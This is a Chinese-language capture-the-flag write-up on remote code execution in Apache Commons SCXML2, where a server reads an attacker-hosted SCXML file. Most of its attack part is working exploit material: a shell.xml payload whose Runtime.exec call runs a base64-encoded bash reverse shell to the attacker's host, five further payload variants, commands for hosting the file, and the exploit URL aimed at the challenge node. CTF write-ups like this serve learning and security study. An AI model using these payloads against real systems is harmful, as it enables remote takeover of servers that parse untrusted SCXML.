Apache SCXML2 RCE漏洞

文章目录


前言

在做 HDCTF 2023BabyJxVx 遇到的知识点,但是没公网的服务器只能作罢,写下这篇文章记录

源码利用

复制代码
public String Flag(@RequestParam(required = true) String filename) {
        SCXMLExecutor executor = new SCXMLExecutor();

        try {
            if (check(filename)) {
                SCXML scxml = SCXMLReader.read(filename);
                executor.setStateMachine(scxml);
                executor.go();
                return "Revenge to me!";
            }

            System.out.println("nonono");
        } catch (Exception var4) {
            System.out.println(var4);
        }

        return "revenge?";
}

大概考点就是接收filename参数,然后利用SCXMLReader.read()方法来读取恶意xml

上传恶意xml文件

构造payload

shell.xml源码

复制代码
<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <final id="run">
        <onexit>
            <assign location="flag" expr="''.getClass().forName('java.lang.Runtime').getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9pcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}')"/>
        </onexit>
    </final>
</scxml>
  • <scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run"> :定义了一个 SCXML 状态机,其中 xmlns属性指定了命名空间,version属性指定了版本,initial 属性指定了初始状态为 run。
  • <final id="run">:定义了一个状态,它是最终状态,它的 id 属性为 run。
  • <onexit>:定义了一个事件,在退出状态时触发
  • <assing........> : location 属性指定了要赋值的变量名称,expr 属性指定了要赋给变量的值。

除此之外还有很多构造的

复制代码
<?xml version="1.0"?> 
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
	<state id="run">
		<onentry> 
			<script> 
				''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')
			</script>
		</onentry>
	</state>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state id="run">
        <onentry>
            <if cond="''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')"></if>
        </onentry>
    </state>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <datamodel>
    	<data id="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></data>
    </datamodel>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <parallel>
    	<invoke src="test" content="test" id="flag"> 
    		<param name="flag" expr="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></param>
    	</invoke>
    </parallel>
</scxml>

<?xml version="1.0"?>
<scxml xmlns="http://www.w3.org/2005/07/scxml" version="1.0" initial="run">
    <state>
    	<history src="test" content="test" id="flag">
    		<transition name="flag" cond="''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')"></transition>
    	</history>
    </state>
</scxml>

搭建Apache服务器

首先我们得在本地搭建服务器,这里我以kali为例

依次执行以下命令

复制代码
sudo apt-get update

sudo apt-get install apache2

sudo service apache2 start    #启动服务

然后我们在浏览器访问http://ip

然后我们将写好的xml文件mv到该根目录下

复制代码
mv /home/kali/shell.xml /var/www/html/

上传成功后我们开启临时文件服务器,在根目录执行下面命令

复制代码
python3 -m http.server 8000

访问8000端口,成功访问

远程RCE

我们直接在题目处远程RCE,payload如下

复制代码
http://node4.anna.nssctf.cn:28342/Flag?filename=http://服务器ip:8000/shell.xml
相关推荐
8K超高清3 分钟前
博冠获中国电影电视技术学会科技进步奖
人工智能·科技·算法·安全·接口隔离原则·智能硬件
minglie116 分钟前
zynq开发板的xvcServer作为烧录器
学习
微露清风43 分钟前
快速排序算法学习记录
学习·算法·排序算法
AAA@峥2 小时前
系统化学习 MySQL:数据类型、库表管理、增删改查全解析
数据库·学习·mysql
momodira810 小时前
暑期安全短视频大赛线上投票制作教程
安全
humors22112 小时前
新手笔记本/路由/手机安全问题小记
安全·华为·电脑·手机·路由器·笔记本·tplink
廋到被风吹走13 小时前
【AI】从“卖能力“到“卖信任“,合规与安全成为新战场
人工智能·安全
FrameNotWork13 小时前
HarmonyOS 6.0 文件加密与安全存储:从哈希到硬件级密钥管理全链路实战
安全·哈希算法·harmonyos
GeekArch14 小时前
第28讲:避坑——AI堆栈分配错误、栈溢出BUG
c语言·人工智能·stm32·mcu·学习·bug
weixin_4280053015 小时前
C#调用 AI学习从0开始-第3阶段RAG向量数据库-文档切分与入库第15天
人工智能·学习·c#·向量数据库·rag·qdrant·文档切分与入库